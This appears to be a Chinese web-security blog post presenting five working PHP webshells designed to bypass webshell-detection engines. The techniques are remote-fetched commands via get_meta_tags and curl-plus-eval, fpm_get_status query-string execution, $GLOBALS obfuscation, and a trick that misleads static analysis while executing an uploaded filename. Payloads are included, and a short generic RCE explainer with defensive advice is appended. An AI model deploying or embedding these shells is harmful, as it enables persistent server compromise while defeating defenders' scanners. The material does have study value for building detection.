WEB安全--RCE--webshell bypass

一、get_meta_tags

原理:

用PHP的get_meta_tags()函数获取远程服务器中html页面的meta标签中的值,我们将meta的值设为如下命令执行语句,就能被webshell接收并拼接成

system(whoami);

这样的形式在受害机上执行。

服务器内容:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="a" content="system">
    <meta name="b" content="whoami">
    <title>Document</title>
</head>
<body>
    <div>
        webshell bypass
    </div>
</body>
</html>

webshell:

<?php
get_meta_tags("http://127.0.0.1/rce/bypass.html")["a"](get_meta_tags("http://127.0.0.1/rce/bypass.html")["b"]);

访问webshell执行命令:

二、curl

原理:

使用PHP的curl命令访问远程服务器的txt文件,将文件内容赋值给$output变量,并用

eval($output)

这种方式执行txt文件中的内容system(whoami);实现命令执行。

1.txt:

system(whoami);

webshell:

<?php
$url="http://127.0.0.1/rce/1.txt";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
eval($output);
?>

三、fpm_get_status

原理:

fpm_get_status用于获取 PHP-FPM(FastCGI Process Manager)的状态信息。

我们可以在打印fpm_get_status()信息时传参,这样其中的query-string就会接收到我们传递的值

并且在执行的时候可能是不同的进程,也就是你所在的数组可能是数组0也可能是数组1,所以进行for循环,循环出来就可以百分百执行命令

webshell:

<?php
foreach(fpm_get_status()["procs"] as $val){
 system($val["query-string"]);
}

payload:

127.0.0.1/rce/bypass.php?whoami

四、$GLOBALS

原理:

当查杀引擎对$GLOBALS全局变量传参点进行了检测,但是没有严格执行递归检测,就可以通过获取多个$GLOBALS参数干扰检测

然后用[_GET]获取我们URL中传递的命令

由于system会被拦截,所以通过substr(timezone_version_get(),2)的方式获取system

最后通过system执行命令

webshell:

<?php
$m=($GLOBALS[GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS
][_GET][b]);
substr(timezone_version_get(),2)($m);

payload:

127.0.0.1/rce/bypass.php?b=whoami



五、隐藏污点

webshell:

<?php
$b = "111";
$c = "222";
if(get_cfg_var('error_reporting')>0){
 $b="#";
}
$a = array( "one"=>$c,"two"=>&$c );
$url = "http://127.0.0.1".$b."?a=1";
$d =parse_url($url);
if($d['query']){
 $c="echo 111;";
}
else{
 $c=$_FILES['useraccount']['name'];
}
var_dump($a["two"]);
eval($a["two"]);
?>

查杀引擎检测代码走的路径:

$b="111" $c="111"

==> $url="http://127.0.0.1/111?a=1"

==> $d['query']="a=1"

==> $c="echo 111"

==> $a[two]="echo 111"

==> eval(echo 111)

实际访问时代码走的路径:

$b="111" $c="111"

==> $url="http://127.0.0.1/#?a=1"

==> $d['query']=NULL

==> $c=$_FILES['useraccount']['name']

==> $a[two]=$_FILES['useraccount']['name']

==> eval($_FILES['useraccount']['name'])


主要原因是这一步get_cfg_var('error_reporting'),当动态查杀引擎没有配置error_reporting这个参数,而真实环境中配置了该参数,那么走向就会截然不同,在上面代码中就会让 $b="#"

$d =parse_url($url)是以数组形式获取url中的各个值,不过当url中有#时,其后面的内容就会被忽略,所以$d['query']=NULL,于是就走到else判断中去了

配合文件上传:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>upload</title>
</head>
<body>
    <form action="bypass.php" method="post" enctype="multipart/form-data">
        <input type="file" name="useraccount">
        <input type="submit" value="upload">
    </form>
</body>
</html>

注意 :<input type="file" name="useraccount">

修改filename字段:system('whoami');

### CTFHUB Web 前置技能 RCE 挑战及解题思路 #### 远程命令执行简介 远程命令执行(Remote Command Execution, RCE),是指攻击者能够通过应用程序接口发送特定指令,在服务器端执行任意操作系统级别的命令。这种漏洞一旦被利用,可能导致整个系统的完全控制。 #### 发现潜在的RCE漏洞 当面对可能存在RCE漏洞的应用程序时,通常会寻找可以输入数据的地方,比如表单提交、URL参数等位置。如果这些地方的数据未经严格验证就直接用于构建并执行系统调用,则可能成为RCE攻击的目标[^1]。 #### 验证是否存在RCE漏洞 为了确认是否真的存在这样的安全风险,可以通过尝试注入一些简单的测试语句来观察响应情况。例如,在支持PHP环境的情况下,可以试着向目标页面传递如下payload: ```php <?php phpinfo(); ?> ``` 如果上述代码被执行并且返回了PHP配置信息,则说明确实存在未受保护的入口点允许外部传入的内容影响到内部逻辑处理流程。 #### 利用已知条件构造有效载荷 假设经过初步探测之后发现了某个变量可以直接参与到shell_exec()函数之中去,那么就可以精心设计一段能实现预期目的同时又不会引起怀疑的日志记录脚本作为最终的有效负载。这里给出一个简单例子用来获取当前目录下的文件列表: ```bash ls -al ``` 当然实际操作过程中还需要考虑更多因素,如编码方式转换、特殊字符转义等问题以确保成功绕过防护机制达到想要的效果。 #### 安全建议 对于开发者而言,预防此类问题的发生至关重要。应当遵循最小权限原则分配资源访问权;对所有来自客户端的信息都应做充分校验过滤后再参与后续运算过程;定期审查源码查找安全隐患及时修复补丁版本更新至最新状态等等措施均有助于减少遭受恶意侵害的可能性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值